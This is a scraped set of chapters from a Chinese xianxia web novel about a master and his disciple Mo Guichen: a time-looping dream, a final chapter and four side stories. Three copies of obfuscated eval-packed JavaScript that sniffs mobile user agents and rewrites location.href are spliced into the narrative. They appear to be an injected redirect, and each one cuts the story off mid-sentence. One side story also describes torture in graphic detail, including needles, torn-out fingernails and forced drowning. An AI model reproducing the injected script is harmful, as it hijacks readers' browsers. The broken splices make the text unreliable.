姑娘阖眼,她何尝不知这是师尊这些年来的执念,二师妹死时,还走火入魔,险些死在梦魇里,哪怕后来被闻师叔救回,也时常在夜深人静时发呆,总觉得自己愧对妹妹。 而这门派其实是归云真人的,早些年,真人云游四海,方交给自己的兄长打理,师尊便尽职尽责当起个好掌门,守着浮华派日益壮大等待妹妹归来。 姑娘也随人坐下:“我打小无父无母,是师尊将我带回门派悉心教导,再造之恩,无以为报,师尊在哪,弟子便在哪。” …… 黑袍青年没再逗留,慢悠悠离开此地,他不知自己要做什么,只能漫无目的地一直往前走。 往前走,似乎是融在他骨血的信念,故而,他几乎很少停留,就那样一直走下去。 日子亦一天天过去。 他也逐渐发现,自己这双手竟在逆生长,愈渐褪去老旧的皱褶枯皮。 又是一日。 黑袍青年来到一座无人府邸。 他站在湖边。 亲眼目睹自己身上跌出片奇怪的鳞光,伸手抓了抓,没抓住,只能眼睁睁由得其深溺湖底,打开一个婆娑遗梦,叫他目睹了一个八字纯阴的婴孩降世。 院中,灯火珊阑的拐角,忽而跑出名银发青年,他循声望向那名红衣青年,也不知为何,他无端觉得对方大抵会对湖底秘密感兴趣。 又或者,他诡异地认为,对方有了解真相的必要。 于是,他亲手将那人拉下湖。 离开府邸,黑袍青年又继续往前逛,他觉得这个尘世真奇怪,今日还结出果子的树,再过十天半个月,竟长成朵花。 这时辰似乎是逆着行走的。 好生奇怪。 * 不知不觉间,黑袍青年又来到处地方,那是座恢宏大气的宫殿,高位上那人……竟又是先前遇到那名银发青年,青年旁边还有名玄袍金冠的男子。 那男子喊这青年“殿下”。 听闻殿下二字,他竟情不自禁靠近青年,虚幻的躯体,就这么直愣愣从对方身子穿过。 所幸,他们都看不见他,大抵只会误以为是风吧。 …… 他没再久留,匆匆离开此地。 一直走,一直往前走。 到底走了多久,已经记不起。 黑袍青年停在处荒无人烟的村落,他随意挑了间落尘的屋子,推门而进。 院内空荡荡,脑海深处好似有人在说话,说的是什么呢?太模糊了,记不得。 他只记得自己曾到过一座山峰,那个小筑的院子有半个未挖完的莲池,应该是莲池吧,毕竟自己在池边看到些风干的莲子。 便心想着在此把那未挖完的池子给续上,但是,他又奇怪地觉得种莲子太慢了,不如直接移植莲藕来得快,如果可以,他想,今晚就能吃上……欸?吃上什么呢。 黑袍青年托腮沉思。 半天也思索无果,只好悄悄吐出口气,找来工具捣鼓,终于挖出片小水塘。 他又去十几公里外的另一个镇子偷了几只小鸡崽和一些莲藕,还被几位大爷大娘抄起扫帚连追九条街,所幸他还记得自己会法术,掐出个诀后,逃之夭夭。 至此,黑袍青年便在此住下,唯一的乐趣是,每天坐在门槛,百无聊赖托腮,看池中莲藕何时能长出荷叶。 这平静如一潭死水的日子,在他出门给鸡挖蚯蚓时,碰到一对游历的师徒,而被暂时打破。 他将那对师徒领回住处。 白衣男子和小徒弟坐在院中对弈。 他翻箱倒柜,终于找出点粽子糖,便是端去招呼那对师徒,而后躲在门后,透过门缝,偷偷看人。 那对师徒的相处方式真温馨啊,艳羡的同时,心底蓦然泛酸泛苦,只能从外袍摸出颗糖,嚼进口中。 忽然,门被敲响。 他慌慌张张挪开身形,装作若无其事地打开门,问:“什么事?” 白衣男子手端个玉白碟子。 碟子上是只荷叶鸡鸡腿,还冒着热气,那人眸含淡笑,温言温语道:“不小心多做了些,孩子也小吃不下,私心想着你还没用膳吧。” 他哑然抿唇,竟一时忘了言语。 余光瞟向院中的小孩,那小孩正在手舞足蹈追逐一只鸡打闹,一个不留神摔了个跟头,又愤愤然爬起来追鸡。 大抵是见他久未说话,白衣男子直接挽起他手,把热气腾腾的鸡腿塞过来:“到底是我们叨扰你,趁热吧。” 青年倚在墙面,垂眸望着手中鸡腿,止不住回想刚才那只掌,宽大、厚实,最重要的是很温暖,真的很温暖。 眼前视野,渐渐模糊。 * 次年开春,院中荷叶早已长出,篱笆里的鸡也成年,黑袍青年却神情恹恹离开了这小村落,因为他才发现,自己根本不会做荷叶鸡。 他往前走,又来到一座山峰。 再次遇到那对师徒。 不过,这里的人,上到门派长老下到杂役弟子,似乎都瞧不见他,正中他下怀,青年整日蜷缩在角落发呆。 闲来无事,便爱盯着那小徒弟看,这小孩真奇怪,怎么总梦到自己的师父死了。 回回吓醒便找师父撒娇。 没见过这么黏人的。 他百思不解,便是多逗留一段日子。 时间往前拨了又拨,便见证到那个小孩越发无理取闹,整日不守规矩,还敢咬师父,跟头小白眼狼似的,根本不服管教,真是反了天了。 若这师父是个坏人,他倒也懒得多管闲事,但师父分明那样好,于是他难得操起点打抱不平的心,潜进男孩梦境,恶劣吓唬对方:“你师父要死了,你以后没人要咯。” 小孩很好骗,当场就吓哭。 他又接连吓唬几句,看着那熊孩子哭岔气,方才笑着罢休,揉揉对方脑袋。 * 黑袍青年留在峰中这段时日,看着那对师徒,越发觉得自己一定是忘了什么! 他一定还有事情要做! 奈何无论如何,愣是半点儿也记不得,自己到底是谁,又要做些什么? 可是没人能给他解惑,黑袍青年只能边走边想,一直走,一直想。 逆着时间长河行走一千年的青年,最终停在一片栀子花花海里。 花海静得出奇。 他一眼便望见个初生婴孩,脚步忽而不听使唤,一步一步靠近那孩子。 瞬间,四目相对。 是个灵魂残缺的男婴。 “咯咯。” 那婴孩粉雕玉琢的,怪是好看,目不转睛望向他,竟还挽出个笑来,这小傻子还咿呀咿呀挥舞起肉嘟嘟的爪子,似乎要抓他,可惜手短,什么也没抓到。 青年浑身气息无端溃散。 他狐疑垂眸,目睹自己溃散的魂魄,竟慢慢被那孩子吸进体内。 心,忽而跳如擂鼓,藏在灵魂深处的不安,阵阵袭来,仿佛在提醒什么。 他终于想起来了! 自己是要把一切的源头给掐灭,把那个罪恶的根源断掉,而这个婴孩,就是一切悲剧的始作俑者。 随着溃散的灵息逐渐被吸收,陌归尘亦感受着自己正在飞速缩小,在彻底变成婴孩魂魄进入自己身体融合前一瞬,他毫不犹豫伸出手掌。 亲手掐死了自己。 - 三月初七,春和景明,拜师大典,四目相对,既是初见,也是重逢。 又是一千年。 好久不见。 71.循环之外。 71. 春和景明。 浮华派外事阁新来了个小弟子,小姑娘整理弟子名录时,不小心打翻其中一本。 她匆忙捡起,恰好看到书上的名字:陌归尘。 门外,长老循着动静走来,无奈揉揉眉心:“小丫头毛手毛脚的。” 小姑娘不以为意,笑嘻嘻:“师父,这名字好特别,陌归尘。” “哦,那是……嘶……”长老抽了口气,也不知自己要说谁,却总觉记忆似乎该有一段的。 [名字。] [陌归尘。] [尘归尘,土归土。] [哪个陌?] [陌路人的陌。] 长老摆摆手,接过弟子名册,挥退小徒弟:“去玩吧,让为师来。” 他低头,但见卷册上方方正正地写着句: 【陌上尘归处,陌归尘】 思忖间欲抹掉,却发现怎么也擦不去这痕迹,它们的存在,像是彰显着某些无人知晓的事物确切出现过的证据。 只不过…… 陌上尘归处? 作何解? 长老思来想去半天,也没头绪,方才想起正事,连忙转手变出块详细记录各峰弟子信息的灵石,再三查看,终于确定门派中从未有过此名弟子。 心想大抵是哪个贪玩的孩子胡乱添上来,又怕被循着字迹逮到,便用偷偷用法宝写字,毕竟浮华派可没人能写出这手好字。 他摇头失笑,鬼马精灵,便是撕下这一页纸,扔出窗外。 * 落霞峰,栀子花开得漫山遍野,一只信鸟悠悠飞来。 “啊!有魔气!” “那只鸟是魔!” 小弟子们乱哄哄尖叫,一名姑娘拍拍胸脯道:“大家莫慌!师姐保护你们!”她利落拉弓,百步穿杨,一箭击中那鸟。 信鸟一命呜呼掉落。 一群孩子好奇凑过去:“有封信!还压到一张纸。” 姑娘也走来,信笺上沾了些栀子花,底下压着的纸张很是特别,只有一句话 ——陌上尘归处,陌归尘。 她拂掉信封花瓣,露出四个字“吾师亲启”,几个调皮孩子想要打开信封,被姑娘拍掉手臂:“是人家师父么?就乱看。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092907|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子们围上师姐,话音此起彼伏。 “写了什么!写了什么!” “写了什么!写了什么!” “写了什么!写了什么!” 姑娘被烦得紧,联想到信封无意压到的纸张的那句“陌上尘归处”,便敷衍一声:“陌上花开,可缓缓归矣。” “什么意思!什么意思!” “什么意思!什么意思!” “什么意思!什么意思!” 姑娘回头,非常一视同仁地一人赏了一个爆栗:“笨!那当然是——” 然后转身就跑:“不告诉你们!” “啊啊啊啊啊!” “啊啊啊啊啊!” “啊啊啊啊啊!” 小弟子们气鼓鼓追上去。 一群人追逐打闹,恰好路过山下一间学堂。 一名几岁的孩子小跑追出来,指指书上的话,满脸求贤若渴问:“夫子,此话到底何解?” 夫子回眸,扫过书上那句话,淡笑解惑:“回家吧,” “啊?” “回家吧,我想你了。” 72.婆娑遗梦。 72. 据传上天悲悯,倘若一个人死去以后,执念太深,魂魄有万分之一的机会画地为牢,化作一个“婆娑遗梦”,将所有美好回忆圈滞人间,让后世见证他们曾留存过的痕迹。 二竹弋抬起左手,掌心正躺着缕纯白残魂,那是他在陌归尘死前奋力抓住的一抹残魂。 男子右手凝出浑厚灵力。 下一瞬,灵力尽数轰向自己心口,心甘情愿闭目的刹那,二竹弋仍牢牢攥住陌归尘那丝残魂,生生把那抹残魂,一同拉进永恒的梦境。 - 凡间,春和景明。 一片朦胧虚幻的泡影里。 青年茫然睁眸,望着周遭光影变幻莫测,两旁景物飞速倒转,陌归尘像是在时光里褪色,眼睁睁目睹自己一身红衫,愈渐褪成片白,方定格。 四周景物随之构筑而起。 他垂视自己四肢,是个小孩的躯体,又狐疑环顾四周,才从记忆深处翻出些印象,此地,竟是幼时与闻笺外出游历曾落脚过的某处庭院。 只是自己怎会变成小孩? 而院中,陷在春光里的白衣男子……是闻笺?! 陌归尘懵懵怔怔:“师尊?” 闻笺正在石桌旁分拣药材,循声侧目,但见本该午休的小徒弟竟跑出来,便是含笑问:“醒了?饿不饿?想吃什么?” “这里有什么吃的?” 闻笺放下几株草药,张开手臂:“一起去看看。” 五六岁的孩子小跑着扑进师尊怀里,踮起脚,挨进师尊肩窝胡乱嗅嗅:“师尊,你好香呀。” 闻笺讶然,低垂眼眸,笑着点点小徒弟脑门:“没大没小,师父也敢调戏。” 而后又温声提点:“这种话,可不能与旁的姑娘说,小姑娘也不可以,知道没?” 徒弟昂起脑袋:“为什么?” 闻笺垂眸笑着点点小徒弟脑门:“大概会挨揍。” 小徒弟嘟囔几声,很不服气反驳:“我打架就没输过,而且,我才不会看旁的姑娘。” 热闹喧嚣的长街,落日拖出道颀长的身影。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092908|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻笺被小徒弟牢牢圈住脖子,本来就倔的人,此刻是打死也不肯松手。 他觉得有些好笑逗人:“师父要被你勒死了。” 至此,小徒弟才松开一点,也只有一点点。 闻笺自然发现徒弟的反常,问:“午休做噩梦了?” 小徒弟轻“昂”一声,沉默半晌才回话,嗓音闷沉,人小鬼大感慨:“是呀,好长一场梦,幸好梦醒了,师尊也还在。” - 另一边。 罕无人迹的荒地,亦曾是九尾一族的禁地,历经沧海桑田,当初栀子花遍地的烂漫早已不复存在,现今连日光都照不进半分,如浸漆黑的夜。 阴暗荒凉的角落,正孤零零躺着块石头。 二竹弋身为邪神的人性,自诛神一战被视作最懦弱的部分,遭邪神舍弃,跌落人界后,恰好附身这块石头。 如今时间段还未被唤醒。 他却清楚地意识到,自己将带着所有记忆,清醒地困于黑暗。 永无休止的黑暗。 -完- 73.番外四则。[番外] 番外目录: 1.师伯夹菜,我转桌 2.幼年温馨日常 3.坏师尊专场 4.好师尊专场 1. “请我来做什么?” 陌归尘抬脚勾上椅腿,往后拉开椅子,慢悠悠坐下,翘起手来直言不讳道,“鸿门宴啊?” 啪—— 华云舟手中的筷子断掉,深吸一口气强颜欢笑,非常能屈能伸道:“魔尊大人多虑,两界交战,受苦受难的终归是百姓,仙门,只是想与魔界交好罢了,喝下这杯酒,化干戈为玉帛,如何?” “真的假的。” 陌归尘懒懒挑眉,眼见对方要拿圆桌上的酒壶,他意味不明转了转桌面,“这道菜不错。” 华云舟手掌抓空,勉强微笑:“那你尝尝咸淡。”言罢,起身去拿酒壶。 桌子又被转了转:“这道也不错。” 华云舟继续抿笑:“试试?” 再拿,再转。 又拿,又转。 如此十几遍后,华云舟整个人已围着圆桌走了一圈。他咬牙切齿捂着胸膛顺气,险些喷出口老血,还是自我宽慰,大局为重,大局为重。 再次伸手拿酒。 那桌又一次被人刻意转动。 真实气煞我也! 华云舟岔气片刻,猛拍桌案:“闻青栀!我看你就是存心戏耍我!你眼里还有没有规矩!目无尊长,简直要上天啊你!” 陌归尘手肘往桌面一撑,慢条斯理托腮,散漫摆手:“师伯言重,上天不敢,我比较想上家师,倘若师伯来当个主婚人,那结盟仪式便定在我大婚之日,好事成双,意下如何?” “?” 荒谬!简直荒唐至极!华云舟当场掀桌,饭菜撒得满地狼藉,他气昏头找剑:“闻!青!栀!我……我我我我要杀了你! 陌归尘先一步摸走华云舟的剑,好整以暇倚靠门边,佯装惊讶,气死人不偿命学舌:“你……你你你你要杀了我?” 华云舟一口气险些没喘上来,浑身发抖捂着胸口,怒视侧目,却见那人手中把玩的,正是自己的本命剑! 华云舟:“?” 陌归尘一副受宠若惊模样,打量着剑,睁眼说瞎话:“师伯送我的新婚贺礼,弟子很喜欢。” 华云舟:“??” 青年紧接着颠倒是非,要挟道:“但,这到底是师伯的本命剑,着实贵重,弟子受之有愧,可这又是师伯的心意,我们这些当晚辈的自然不好当场退回拂您面子,不然您又该责备弟子不懂规矩,那便择在仙魔结盟仪式上当作结盟贺礼还赠师伯罢。” 陌归尘收起华云舟的本命剑:“弟子这便回魔界准备结盟事宜,也恭候师伯大驾光临,当我的主婚人。” 华云舟:“???” 2. 落霞峰,小筑围墙。 林岁愉踩在几块垒起的石块上,双手扒住墙顶,吃力爬上去:“小鬼头,小鬼——”猛然对上名立在墙边的白衣男子,话音戛然而止。 十几岁的姑娘笑得比哭难看,指指上空:“呵呵师叔好啊,您赏月呢?” 一抬头,晴空万里。 不过片刻功夫,便见闻笺衣服簌簌耸动几下,一只白色小猫就这么把师尊当猫爬架,从师尊裤腿爬上师尊后背,在师尊肩头探出个脑袋。 闻笺屈指点点猫头:“早去早回。”将小猫捻起,交给墙头的小姑娘。 “耶!师尊万岁!吧唧一口!” “耶!师叔万岁!吧——”十来岁的姑娘,一手勾过旁边的十三师弟,在少年额头小鸡啄米似的,蜻蜓点水一下,“吧唧你一口吧。” “!” “你你你你……”少年脖子都烧红了,不可置信捂上额头,“你干什么?” “啊?” 姑娘拍拍手跳下,不解道,“不就亲你一口嘛,搞得我轻薄你似的。” 她轻啧一声,点点自己脸颊:“要不你亲回来?” 少年:“……” 少年嘀咕:“轻浮。” 小猫化回几岁的孩子,没好气瞪向那少年,叉腰维护师姐道:“你要看不惯我姐姐,你就别跟屁虫似的,我看你才是莫名其妙呢!!” 少年哑然,也不甘示弱,冷嗤一声。 生怕二人吵起来,林岁愉率先转移话题:“狗呢!你那个小狗朋友呢?” “汪——” 不知从何处跑出来的黑狗,一个凌空飞跃,正欲扑向闻青栀,主人却恰好蹲下绑鞋带,便是愣愣砸中前方的少年。 一人一狗撞了个满怀,双双倒地。 翻滚在地的少年,连忙爬起躲在师姐身后:“哪哪哪来的狗……狗啊!”惹得人吐槽:“没出息!狗有什么好怕的!” “为什么不能怕!” “哎呀。”林岁愉一手搂走一个师弟,“你俩欢喜冤家,走啦走啦!” 热闹的街市穿过两名十来岁的少年、一名几岁的男童,还有一名神气十足的大黑狗,雄赳赳气昂昂,不知是打算做什么。 再回来时,已是月上枝头。 嬉戏打闹的几人所有笑声都终止在山门下,但见石阶尽头,华云舟右手握着条戒尺,有一下没一下轻打左掌。 华云舟皮笑肉不笑,阴阳怪气道:“哟,舍得回来了?我还以为你们三出师了呢,还认得路啊,真难得哦。” 林岁愉手指捏上两边脸颊,生硬地扯出道笑:“嘿嘿,师尊您在这赏月呢?那我们就不打扰您老人家啦!”她反手拉上两个师弟,压出气音,“快、跑。” “还想跑?站住。” 华云舟随意捏出个法诀,三只凭空出现的大手,一手拎住一个人的后衣领,拎小鸡似的把人拎走,任凭三人手舞足蹈挣扎也无济于事。 三人中,最后受罚的只有夹在中间的十三。 大的舍不得罚。 小的,被靠山来接走。 漆黑的夜,老十三朔望被罚将整个内事殿打扫得一尘不染方能回去。 又饿又累的少年跪在地上洗抹布。 门口,鬼鬼祟祟溜进个雪白的小猫影,猫咪还叼着个装有鸡腿的油纸袋。 他把纸袋藏进师兄丢在地上的布囊,才变回人形飞快跑到旁边的侧殿,刚拿起角落的鸡毛掸子,便与一位翻窗进来的人影撞到一起。 “哎哟喂。” “唔。” 两道嗓音同时响起。 姑娘惯性捂额,手里的油纸袋啪一声掉落地面。 内事殿静得针落可闻,这边的骚动自然引来第三人。 十三循声跑来,撩开珠帘,却又是猛地退回去,哗啦啦,珠帘坠落碰撞。 少年瑟缩躲在门口,只露出半个脑袋,颤抖着抬手指过来:“他……他他他他到底何时才能化人形?” 窗边两人顺着少年那根手指回头,但见窗外不知何时露出只大黑狗,狗头趴在窗边,斯哈斯哈吐出条花斑大舌头,不知是馋掉在地上的肉包子,还是看不惯那名少年老与自己主人不对付,作势要唬一唬对方。 二人相视一眼,皆是无情捧腹大笑:“他……他他他他可能很久才能化人形!” “汪——” 大黑狗跳进来。 “啊!” 少年弃了扫帚就跑。 目睹一人一狗绕柱半天,站在原地看戏半天的两人笑得更无情了。 3. “尊主,仙尊法力尽失。”魔医惶恐跪地,继续颤颤道,“还还还还……” 陌归尘言简意赅:“说。” 魔医重重叩首:“还有可能随记忆的失去而形如痴儿,再严重些,怕是连话也不会说。” 陌归尘憎厌盯着床上的男子,毫不留情挖苦嘲讽:“你也有今日,现眼报啊,该。” 师尊已听不懂,只讨好似的,上来扯他衣角,陌归尘嫌弃十足拂掉那手,对方法力尽失,禁不住他轻轻一推,竟猛地撞回床上,额头重重磕到墙面,落出青紫交加的淤痕,还愈渐渗出血水。 白衣男子脸色煞白,还是乖乖愣在原地,血水淌下眼角,那人如不觉疼,怯怯看向他,抿着的唇慢慢化出点笑意。 讨好意味甚浓。 陌归尘微怔,会咬人的疯狗,变得又傻又乖,还真是叫人很不适应。 自打那日后,魔尊大人莫名事事回避对方,许久没再见过自家师尊。 这段时日,贴身伺候的男侍很会审时度势,逐步克扣仙尊衣食。 他抹抹吃得油光铮亮的唇,把啃完的骨头丢进本是用来喂狗的馊饭,不耐烦道:“赶紧吃!” 仙尊没动。 他直接踹了一脚:“吃啊!” 男侍修为不高,但仙尊修为尽散,手无缚鸡之力,这一脚叫人瘫倒在地,痉挛蜷缩,生生咳出好几口血。 他更是嫌恶骂道:“上周才换的衣服,又要给你这废物洗。” 按理说,仙尊的衣物每日换新,根本不用洗,但那些新衣裳全被他贪了去,只能隔个十天半月给对方洗一洗,反正对方是个哑巴傻子,又不会告状,他把表面功夫做全就行。 男侍烦躁抓起仙尊头发,粗暴摁进饭碗:“别饿死还要我收尸。” 发霉的饭粒沾上仙尊的脸,依然没嘴。 男侍冷笑:“既然不想吃饭,不如试试这个?”他转手掏出一把尖细银针,扣起对方下颌,拍进几根银针,微笑,“滋味如何?” 话毕,又连塞几根。 似乎觉得光塞银针没意思,他捏起对方的指,把细针抵进对方指甲盖下,生生扎进去。 撕拉—— 男侍望着指甲盖一点点与血肉分离,拉出黏稠血丝,心底腾出阵阵扭曲的快感。 他又迫不及待去挑下一个,十个指甲挑完,对方已有些晕厥迹象,男侍兴致阑珊踹了一脚白衣男子小腹:“还仙尊呢,废物,真他妈没用!” 男侍平日没少在其他人那处受气,眼神阴暗扭曲,嗓音却温柔得滴水:“仙尊您吃渴了吧?” 话毕,直接薅起仙尊头发,拽到旁边的小花池,把那头颅摁进水里,听着那咕噜咕噜的闷呛声,男侍得到极大的满足,喟叹:“真乖啊,多喝点。” …… 几个月后。 陌归尘再一次停在那堵门外,这次,他终于推开房门,里面的男子,正瑟缩在角落,看到有人来竟无端吓得抱膝往后蜷。 不知情者还以为这是被折磨了几个月呢。 青年微怔,他的师尊可是邪神啊,杀尽满天神佛,也会有害怕的一天? 这是被迟来的良心谴责到了? 那人恍若才看清他,撑在地面的手指动了动,最后竟对他傻傻一笑。 笑屁。 陌归尘走过去,那人还是不会说话,如想到自己年幼被师尊带着读书念字的往事,这次,他难得耐起性子,教对方说话。 诸如:“我饿了。”“我渴了。”“要吃饭。”这些简单的语句。 只是教了半天,师尊也没吐出半个完整音节,陌归尘气馁起身,正要跨出房门时,他终于听到清晰的两个话音。 那一声恍若幻听。 师尊喊的是他的小名。 陌归尘情不自禁回眸,只见那人看的不是他,而是抱着桌面上的玉质花瓶,花瓶里插着几株青涩的栀子花,白衣男子爱不释手摸着花瓶,嘴里一直念叨着:“玉,玉玉,玉玉……” * 又隔了几天。 陌归尘再次来探望师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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红衣青年动作粗暴,这一拽,边叫人趔趄摔出揣在怀里的东西。 师尊又挣脱他手,跪扑在地,双手去扫这些撒落一地的肉干、芹菜、龙眼干、莲子、红枣、红豆,紧紧护着,生怕被抢走。 这些东西,和自己当年偷的一模一样,是束脩六礼,凡间入学拜师赠先生的礼品。 因偷窃,他当年也被一群人追打。 也是这般边追边骂。 若非他跑得快,真有可能被打死。 陌归尘虽疑惑不解,还是没忍住给了对方一拳,攥上衣襟,也不管对方腿部受伤而行动艰涩,只连拖带拽生生拉走那人。 夕阳西下,二人穿梭在长街,他也没管周围人探究又八卦的神情,只恶狠狠警告道:“下次再偷东西,腿给你打断!” “那你打了我,就不能打他。” 陌归尘闻声回眸,但见那白衣男子乖顺垂下眉眼,抱紧手里的肉干,怯怯望来,又小心翼翼扯扯他衣袖,说着毫无底气如央求的话:“你打我,别打他,可以吗?” 亦是因这么一扯师尊的衣襟,陌归尘才看到对方衣领露出点伤痕。 他皱眉,直接掀开师尊衣袖,那手臂竟纵横交错各种伤痕,看起来已有些时日,甚至还有密麻连片的针孔,这折磨人的手段可真够阴险腌臜。 难怪那日师尊看到他竟会害怕。 还真是被不长眼的东西折磨过。 陌归尘气不打一处来,鼻尖无端酸涩:“你傻吗!不会还手?” 事实对方还真是个傻的,只会重复一句:“打了我,就不能打他。” 恨也好,爱也罢,师徒二人到底有过相伴千年的情谊,堪比血浓于水的亲情,也不对,自己体内,的的确确流淌着对方的血。 他们之间的羁绊,已非三言两语,几个爱恨恩怨的词汇便能定义的。 哪怕他恨不得对方死,也只能死在自己手下,还由不得旁人来欺负一星半点。 陌归尘一把拉上师尊手腕,快步赶去魔宫方向,对方似乎终于聪明一点,居然谨小慎微点点他后背,怯声问:“你不开心吗?” 他答非所问:“算账。” 4. 落霞峰,书房。 外头日光正好,透过半扇敞开的窗照进来,照到支颐的白衣男子半边脸。 未关紧的房门,鬼鬼祟祟探出半个猫头。 小猫狐疑偷看阖眼养神的闻笺。 悄悄打量半晌,小猫蹑手蹑脚跑进来,跳上书桌,踩在厚厚垒起的书册上,两只后脚站起,人似的立着,爪子肉垫撑在师尊下巴,凑过脑袋去嗅师尊,湿濡的鼻尖碰到师尊的鼻头。 还有鼻息。 没死。 男子含笑睁眼:“这是做什么?” 被当场抓包,小猫灰溜溜跳落地面,怪是不好意思别开头,也没说话。 闻笺相当顾念小徒弟的面子,没再追问,从储物空间掏出套新做的衣裳,点点小猫脑袋,小猫霎时变回个五六岁的孩子。 他熟稔替对方换了身干净漂亮的外袍,拿过小徒弟最爱玩的那把桃木剑,斜斜挂到小徒弟后背,最后在对方衣兜塞进把粽子糖,才不紧不慢牵上小徒弟下山。 五六岁的孩子忘性大,空出的手抓着个荷叶鸡鸡腿,笑意盈盈乱啃,含糊不清问:“闻笺,我们去哪呀?” “没大没小,叫师尊。” “哦,去哪里呀闻笺。” 闻笺无奈轻笑:“游历。” 长河落日圆,一大一小的两道身影渐行渐远,渐渐没进烂漫霞光。